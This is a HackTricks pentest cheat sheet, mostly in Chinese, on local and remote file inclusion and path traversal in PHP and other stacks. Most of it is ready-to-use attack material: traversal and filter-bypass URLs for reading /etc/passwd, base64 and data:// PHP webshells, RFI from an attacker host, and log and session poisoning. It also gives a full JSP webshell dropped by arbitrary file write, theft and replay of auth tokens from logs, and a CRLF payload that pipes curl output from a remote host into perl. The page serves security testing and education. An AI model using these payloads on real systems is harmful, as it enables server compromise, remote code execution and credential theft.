File Inclusion/Path traversal
Reading time: 37 minutes
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
File Inclusion
Remote File Inclusion (RFI): 文件从远程服务器加载(最佳情况:你可以写入代码并由服务器执行)。在 php 中默认是 禁用 的(allow_url_include)。\ Local File Inclusion (LFI): 服务器加载本地文件。
当用户以某种方式能够控制将由服务器加载的文件时,就会发生该漏洞。
易受影响的 PHP functions: require, require_once, include, include_once
一个用于利用此漏洞的有用工具: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
*混合了多个 nix LFI 列表并添加更多路径后,我创建了这个:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
还可以尝试将 / 改为 \
还可以尝试添加 ../../../../../
可以在这里找到一个使用多种技术查找文件 /etc/password(用于检查漏洞是否存在)的列表。
Windows
合并了不同的 wordlists:
还可以尝试将 / 改为 \
还可以尝试移除 C:/ 并添加 ../../../../../
可以在这里找到一个使用多种技术查找文件 /boot.ini(用于检查漏洞是否存在)的列表。
OS X
请检查 linux 的 LFI 列表。
Basic LFI and bypasses
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
遍历序列被非递归移除
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
绕过在提供的字符串末尾追加额外字符(绕过:$_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
这一问题已在 PHP 5.4 中解决
编码
你可以使用非标准编码,例如 double URL encode(以及其他方式):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
来自已有的文件夹
也许 back-end 在检查文件夹路径:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
在服务器上探索文件系统目录
服务器的文件系统可以递归地探索以识别目录,而不仅仅是文件,通过使用某些技术。这个过程涉及确定目录深度并探测特定文件夹的存在。下面是实现这一目标的详细方法:
- 确定目录深度: 通过成功获取
/etc/passwd文件(如果服务器是基于 Linux 的情况下适用)来确定当前目录的深度。示例 URL 可能如下所示,表示深度为三:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- 探测文件夹: 将可疑文件夹的名称(例如,
private)追加到 URL,然后导航回/etc/passwd。额外的目录层级需要将 depth 增加一层:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- 解释结果: 服务器的响应会表明该文件夹是否存在:
- Error / No Output: 文件夹
private很可能在指定位置不存在。 - Contents of
/etc/passwd: 确认存在private文件夹。
- 递归探索: 发现的文件夹可以使用相同的技术或传统的 Local File Inclusion (LFI) 方法进一步探查子目录或文件。
要探查文件系统中不同位置的目录,请相应地调整 payload。例如,要检查 /var/www/ 是否包含 private 目录(假设当前目录深度为 3),使用:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation 是一种用于操纵 Web 应用中文件路径的方法。它常用于通过绕过在文件路径末尾追加额外字符的某些安全措施来访问受限文件。目标是构造一个文件路径,使在被安全措施修改后仍指向目标文件。
在 PHP 中,由于文件系统的特性,文件路径的各种表示方式可能被视为等价。例如:
- "/etc/passwd", "/etc//passwd", "/etc/./passwd" 和 "/etc/passwd/" 都被视为相同的路径。
- 当最后 6 个字符是
passwd时,追加一个/(使其成为passwd/)不会改变目标文件。 - 类似地,如果在文件路径末尾追加了
.php(例如shellcode.php),在末尾添加/.不会改变被访问的文件。
下面的示例演示了如何利用 Path truncation 访问 /etc/passwd,这是一个常见目标,因为它包含敏感内容(用户账户信息):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
在这些场景中,所需的 traversals 数量可能约为 2027,但该数字会根据服务器配置而有所不同。
- Using Dot Segments and Additional Characters: Traversal sequences (
../) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server. - Determining the Required Number of Traversals: 通过反复试验,可以确定精确需要的
../数量,以先到达根目录然后到/etc/passwd,确保任何附加的字符串(如.php)被中和,而目标路径 (/etc/passwd) 保持完整。 - Starting with a Fake Directory: 通常会在路径开头使用一个不存在的目录(例如
a/)。该技术用作预防性措施,或用于满足服务器路径解析逻辑的要求。
在使用 path truncation techniques 时,务必了解服务器的路径解析行为和文件系统结构。每种场景可能需要不同的方法,通常需要通过测试来找到最有效的方式。
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
在 php 中默认情况下此功能被禁用,因为 allow_url_include 为 Off. 要使其工作必须为 On,在这种情况下你可以包含来自你服务器的 PHP 文件并获得 RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
如果由于某种原因 allow_url_include 为 On,但 PHP 正在 过滤 对外部网页的访问, according to this post,你可以例如使用 data 协议配合 base64 来解码一个 b64 PHP 代码并获得 RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
在之前的代码中,最后的 +.txt 被添加是因为攻击者需要一个以 .txt 结尾的字符串,所以字符串以它结尾,并且在 b64 decode 之后那部分只会返回垃圾,而真正的 PHP 代码会被包含(因此被执行)。
另一个 不使用 php:// 协议 的示例是:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python 根元素
在 python 中,像下面这样的代码:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
如果用户将一个 absolute path 传递给 file_name,则previous path is just removed:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
这是根据 the docs 的预期行为:
如果某个组件是绝对路径,则会丢弃之前的所有组件,并从该绝对路径组件继续连接。
Java 列出目录
看起来,如果在 Java 中存在 Path Traversal 且你 请求目录 而不是文件,则会 返回该目录的列表。据我所知,其他语言不会出现这种情况。
Top 25 parameters
下面是可能易受 local file inclusion (LFI) 漏洞影响的前 25 个参数列表(来自 link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI 使用 PHP 封装器与协议
php://filter
PHP filters allow perform basic modification operations on the data before being it's read or written. There are 5 categories of filters:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: 从数据中移除标签(位于 "<" 与 ">" 字符之间的所有内容)- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: 将数据转换为不同的编码(convert.iconv.<input_enc>.<output_enc>)。要获取支持的所有编码列表,请在控制台运行:iconv -l
warning
Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.
- Compression Filters
zlib.deflate: 压缩内容(在大量 exfiltrating 信息时有用)zlib.inflate: 解压数据- Encryption Filters
mcrypt.*: 已弃用mdecrypt.*: 已弃用- Other Filters
- 在 php 中运行
var_dump(stream_get_filters());可以发现一些意外的过滤器: consumeddechunk: 反转 HTTP 分块传输编码convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
"php://filter" 部分对大小写不敏感
Using php filters as oracle to read arbitrary files
In this post 提出了一种在服务器不返回输出的情况下读取本地文件的技术。该技术基于使用 php filters 作为 oracle 的布尔逐字符外泄。这是因为 php filters 可以用来将文本放大到足以让 php 抛出异常的程度。
原文中有对该技术的详细解释,这里给出快速概要:
- 使用编码器
UCS-4LE将文本的首字符保留在开头,并使字符串大小呈指数增长。 - 这将用于在首字母猜对时生成一个非常大的文本,从而使 php 触发一个 错误。
- dechunk 过滤器会 在首字符不是十六进制时删除全部内容,因此我们可以判断首字符是否为十六进制。
- 结合前述(以及根据猜测字母使用的其他 filters),我们可以通过观察在进行足够多的变换后何时使其不再是十六进制字符来猜出文本开头的字母。因为如果是十六进制,dechunk 不会删除它,初始膨胀将使 php 抛错。
- 编码器 convert.iconv.UNICODE.CP930 会把每个字母变为下一个字母(所以在此 codec 之后:a -> b)。这让我们可以判断首字母是否为
a,比如如果应用 6 次该 codec:a->b->c->d->e->f->g,该字母不再是十六进制字符,因此 dechunk 不会删除它,且由于与初始膨胀相乘会触发 php 错误。 - 在开头使用像 rot13 这样的其他变换,可以 leak 其他字符如 n, o, p, q, r(并且可以使用其它 codecs 将其它字母移动到十六进制范围)。
- 当首字符是数字时,需要对其进行 base64 编码,并 leak 前两个字母以 leak 该数字。
- 最终的问题是要看 如何 leak 不止首字母。通过使用类似 convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE 这样的顺序内存 filters,可以改变字符顺序,把文本中其他字母移到第一位。
- 并且为了能获取 更多数据,思路是用 convert.iconv.UTF16.UTF16 在开头 生成 2 字节的垃圾数据,应用 UCS-4LE 使其 与接下来的 2 字节发生枢轴,并 d删除数据直到垃圾数据处(这将移除初始文本的前 2 字节)。重复此过程直到到达要 leak 的位。
在文章中也 leaked 出了一个用于自动执行该方法的工具: php_filters_chain_oracle_exploit。
php://fd
此 wrapper 允许访问进程已打开的文件描述符。可能有助于外泄已打开文件的内容:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
你也可以使用 php://stdin, php://stdout and php://stderr 来分别访问 file descriptors 0, 1 and 2(不确定这在攻击中会有什么用)
zip:// and rar://
上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它.
为了能够滥用 rar protocol,需要被专门启用。
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
请注意,此协议受 php 配置 allow_url_open 和 allow_url_include 的限制
expect://
Expect 必须被启用。你可以使用以下方式执行代码:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
在 POST parameters 中指定你的 payload:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
.phar 文件可用于在 web 应用使用诸如 include 之类的函数加载文件时执行 PHP 代码。下面的 PHP 代码片段展示了创建 .phar 文件的示例:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
要编译 .phar 文件,应执行以下命令:
php --define phar.readonly=0 create_path.php
执行后,会创建一个名为 test.phar 的文件,可能被用于利用 Local File Inclusion (LFI) 漏洞。
如果 LFI 仅执行文件读取而不执行其中的 PHP 代码(通过诸如 file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), 或 filesize() 等函数),则可以尝试利用反序列化漏洞。该漏洞与使用 phar 协议读取文件有关。
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
可以滥用 any arbitrary file read from PHP that supports php filters 来获得 RCE。详细描述可以在 found in this post.
非常简短的总结:PHP 堆中的 3 byte overflow 被滥用以 alter the chain of free chunks(特定大小),从而能够 write anything in any address,因此添加了一个 hook 来调用 system。
可以通过更多 php filters 来分配(alloc)特定大小的 chunks。
More protocols
Check more possible protocols to include here:
- php://memory and php://temp — 在内存或临时文件中写入(不确定这在 file inclusion attack 中如何有用)
- file:// — 访问本地文件系统
- http:// — 访问 HTTP(s) URLs
- ftp:// — 访问 FTP(s) URLs
- zlib:// — 压缩流
- glob:// — 查找匹配模式的路径名(它不会返回可打印的内容,因此在这里不太有用)
- ssh2:// — Secure Shell 2
- ogg:// — 音频流(不适合读取任意文件)
LFI via PHP's 'assert'
在 PHP 中,当涉及 'assert' 函数时,Local File Inclusion (LFI) 的风险尤其高,因为它可以执行字符串中的代码。如果带有目录遍历字符(如 "..")的输入被检查但未正确消毒,这尤其成问题。
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
虽然这旨在阻止 traversal,但它无意中为 code injection 创建了一个向量。为了利用此来读取文件内容,攻击者可以使用:
' and die(highlight_file('/etc/passwd')) or '
类似地,要执行任意系统命令,可以使用:
' and die(system("id")) or '
重要:URL-encode these payloads。
PHP Blind Path Traversal
warning
该技术适用于你可以控制的场景:你能控制 control 的 file path,并影响一个 PHP function 去 access a file,但你看不到该文件的内容(比如简单调用 file()),文件内容不会被显示。
In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
总体来说,该技术使用 "UCS-4LE" encoding 把文件内容做得非常big,以致于打开该文件的 PHP function opening 会触发一个 error。
然后,为了 leak 第一个字符,会使用过滤器 dechunk,同时结合诸如 base64 或 rot13 等,最后使用过滤器 convert.iconv.UCS-4.UCS-4LE 和 convert.iconv.UTF16.UTF-16BE 来 place other chars at the beggining and leak them。
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- 识别一个 write primitive,在某个 endpoint 或后台 worker 中接受 path/filename 并将内容写入磁盘(例如 message-driven ingestion、XML/JSON command handlers、ZIP extractors 等)。
- 确定 web-exposed directories。常见示例:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - 构造一个 traversal path,使其从预期的存储目录跳出到 webroot,并包含你的 webshell 内容。
- 访问被写入的 payload 并执行命令。
Notes:
- 执行写入的易受攻击服务可能监听非 HTTP 端口(例如在 TCP 4004 上的 JMF XML listener)。主 web 门户(不同端口)随后会提供你放置的 payload。
- 在 Java 堆栈中,这些文件写入通常通过简单的
File/Paths拼接实现。缺乏 canonicalisation/allow-listing 是核心缺陷。
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
加固措施能防止此类漏洞:
- 解析为规范路径并强制其为 allow-listed 基目录的子路径。
- 拒绝任何包含
..、绝对根路径或驱动器字母的路径;优先使用生成的文件名。 - 以低权限账户运行写入程序,并将写入目录与对外服务的根目录隔离。
Remote File Inclusion
Explained previously, follow this link.
Via Apache/Nginx log file
如果 Apache 或 Nginx 服务器在 include 函数中vulnerable to LFI,你可以尝试访问 /var/log/apache2/access.log or /var/log/nginx/access.log,在 user agent 或 GET parameter 中设置一个 php shell,比如 <?php system($_GET['c']); ?>,然后包含该文件
warning
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.
Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won't have a second opportunity.
这也可以在其他日志中完成,但**小心,**日志中的代码可能被 URL 编码,这可能会破坏 Shell。header authorisation "basic" 包含以 Base64 编码的 "user:password" 并且在日志中被解码。PHPShell 可以插入到该 header 中。
其他可能的日志路径:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
读取 access logs 以收集基于 GET 的 auth tokens(token replay)
许多应用错误地通过 GET 接受 session/auth tokens(例如 AuthenticationToken、token、sid)。如果你可以利用 path traversal/LFI 原语读取 web server logs,你可以从 access logs 中窃取这些 tokens 并重放以完全绕过认证。
How-to:
- 使用 traversal/LFI 读取 web server access log。常见位置:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- 某些 endpoints 会以 Base64-encoded 返回文件读取内容。如果是这样,在本地解码并检查日志行。
- 使用 Grep 查找包含 token 参数的 GET 请求并捕获其值,然后将其重放到 application entry point。
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
如果请求体是 Base64,则先解码,然后 replay 捕获的 token:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
注意事项:
- Tokens 在 URL 中默认会被记录;在生产系统中切勿通过 GET 接受 bearer tokens。
- 如果应用支持多种 token 名称,搜索常见的键,例如 AuthenticationToken、token、sid、access_token。
- 对可能已经 leaked 到日志中的任何 tokens 进行轮换。
通过 Email
发送邮件 到一个内部账户 (user@localhost),邮件中包含你的 PHP payload,比如 <?php echo system($_REQUEST["cmd"]); ?>,并尝试通过像 /var/mail/<USERNAME> 或 /var/spool/mail/<USERNAME> 这样的路径将其包含到用户的邮件中。
Via /proc/*/fd/*
- 上传大量 shells(例如:100)
- 包含 http://example.com/index.php?page=/proc/$PID/fd/$FD,其中 $PID = 进程的 PID(可以暴力枚举),$FD = 文件描述符(同样可以暴力枚举)
Via /proc/self/environ
像日志文件一样,在 User-Agent 中发送 payload,它会反映在 /proc/self/environ 文件中。
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
通过上传
如果你可以上传文件,只需将 shell payload 注入其中(例如: <?php system($_GET['c']); ?>)。
http://example.com/index.php?page=path/to/uploaded/file.png
为了保持文件可读,最好将其注入到图片/doc/pdf 的元数据中
通过 Zip fie 上传
上传一个包含被压缩的 PHP shell 的 ZIP 文件,并访问:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
通过 PHP sessions
检查网站是否使用 PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
在 PHP 中,这些会话被存储在 /var/lib/php5/sess\[PHPSESSID]_ 文件中
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
将 cookie 设置为 <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
使用 LFI 包含 PHP 会话文件
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
通过 ssh
如果 ssh 处于活动状态,检查正在使用哪个用户 (/proc/self/status & /etc/passwd),并尝试访问 <HOME>/.ssh/id_rsa
通过 vsftpd 日志
FTP 服务器 vsftpd 的日志位于 /var/log/vsftpd.log。在存在 Local File Inclusion (LFI) 漏洞并且能够访问暴露的 vsftpd 服务器的情况下,可考虑以下步骤:
- 在登录过程中,在用户名字段注入 PHP payload。
- 注入后,利用 LFI 从 /var/log/vsftpd.log 检索服务器日志。
通过 php base64 filter (using base64)
如 this 文章所示,PHP base64 filter 会忽略非 base64 字符。你可以利用这一点绕过文件扩展名检查:如果你提供以 ".php" 结尾的 base64,它会忽略 "." 并在 base64 后追加 "php"。下面是一个示例 payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (no file needed)
This writeup 解释了你可以使用 php filters to generate arbitrary content 作为输出。这基本上意味着你可以为 include 生成任意 php 代码,而无需将其写入文件。
Via segmentation fault
上传 一个会被暂存到 /tmp 的文件,然后在同一次请求中触发 segmentation fault,这样暂存文件不会被删除,你可以去查找它。
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
如果你发现了 Local File Inclusion 且 Nginx 在 PHP 之前运行,可能可以用下面的技术获得 RCE:
Via PHP_SESSION_UPLOAD_PROGRESS
如果你发现了 Local File Inclusion,即使你没有 session 且 session.auto_start 为 Off。如果你在 multipart POST 数据中提供 PHP_SESSION_UPLOAD_PROGRESS,PHP 会为你启用 session。你可以滥用这一点来获取 RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
如果你发现了 Local File Inclusion 且服务器运行在 Windows,可能会得到 RCE:
Via pearcmd.php + URL args
As explained in this post,脚本 /usr/local/lib/phppearcmd.php 在 php docker 镜像中默认存在。此外,可以通过 URL 向该脚本传递参数,因为文中指出如果 URL 参数没有 =,则应将其视为一个参数。参见 watchTowr’s write-up 和 Orange Tsai’s “Confusion Attacks”。
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
下面滥用 CRLF vuln 来获取 RCE (来自 here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
通过 phpinfo() (file_uploads = on)
如果你发现一个 Local File Inclusion 并且有一个暴露 phpinfo() 且 file_uploads = on 的文件,你可以获得 RCE:
通过 compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
如果你发现一个 Local File Inclusion 并且你 can exfiltrate the path 临时文件的路径,但 server 正在 checking 要包含的 文件是否具有 PHP marks,你可以尝试用这个 Race Condition 来 bypass that check:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
通过 eternal waiting + bruteforce
如果你能滥用 LFI 来 upload temporary files 并使 server hang PHP 执行,你就可以在数小时内 brute force filenames 来找到临时文件:
导致 Fatal Error
如果你包含任何以下文件 /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar。(你需要包含同一个文件 2 次来触发该错误)。
我不知道这有何用,但它可能有用。
即使你导致 PHP Fatal Error,上传的 PHP 临时文件也会被删除。
.png)
参考资料
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks